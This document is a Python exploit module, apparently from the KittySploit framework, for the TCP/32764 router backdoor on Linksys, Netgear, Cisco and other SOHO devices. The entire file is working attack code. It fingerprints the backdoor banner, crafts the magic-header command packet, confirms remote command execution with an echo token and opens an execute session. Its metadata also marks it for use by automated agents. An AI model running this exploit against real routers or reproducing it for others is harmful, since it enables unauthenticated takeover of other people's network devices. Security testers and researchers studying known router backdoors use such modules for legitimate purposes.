Router TCP/32764 Backdoor RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Router TCP/32764 backdoor RCE — opens execute session."""

import struct

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.tcp.tcp_client import Tcp_client, TCPSocket


class Module(Exploit, Tcp_client, Handler):
    __info__ = {
        'name': 'Router TCP/32764 Backdoor RCE',
        'description': (
            'Exploits the TCP/32764 management backdoor on multiple SOHO routers '
            '(Linksys, Netgear, Cisco, etc.) for unauthenticated OS command execution.'
        ),
        'author': ['Eloi Vanderbeken', 'KittySploit Team'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://github.com/elvanderb/TCP-32764'],
        'tags': ['router', 'backdoor', 'tcp', '32764', 'rce', 'iot'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    port = OptPort(32764, 'Backdoor TCP port', required=True)

    def __init__(self, framework=None):
        super().__init__(framework)
        self.endianness = '<'

    def _open(self) -> TCPSocket | None:
        try:
            return self.open_tcp_connection(
                host=str(self.target),
                port=int(self.port or 32764),
                timeout=int(self.timeout or 10),
            )
        except Exception:
            return None

    def execute(self, cmd: str) -> str:
        payload_cmd = cmd.encode('utf-8')
        header = struct.pack(self.endianness + 'III', 0x53634D4D, 0x07, len(payload_cmd) + 1)
        packet = header + payload_cmd + b'\x00'

        sock = self._open()
        if not sock:
            return ''
        try:
            sock.send(packet)
            hdr = sock.recv(0xC)
            if len(hdr) < 12:
                return ''
            _, _, ret_len = struct.unpack(self.endianness + 'III', hdr)
            body = sock.recv(ret_len)
            return body.decode('utf-8', errors='replace') if body else ''
        finally:
            sock.close()

    def check(self):
        sock = self._open()
        if not sock:
            return {'vulnerable': False, 'reason': 'TCP/32764 closed', 'confidence': 'medium'}
        try:
            sock.send(b'ABCDE')
            banner = sock.recv(5)
        finally:
            sock.close()
        if banner.startswith(b'MMcS'):
            self.endianness = '>'
            return {'vulnerable': True, 'reason': 'TCP/32764 backdoor (BE)', 'confidence': 'high'}
        if banner.startswith(b'ScMM'):
            self.endianness = '<'
            return {'vulnerable': True, 'reason': 'TCP/32764 backdoor (LE)', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Unexpected banner', 'confidence': 'medium'}

    def check_execute(self) -> bool:
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        print_success('TCP/32764 command execution confirmed')
        return self.handler_execute()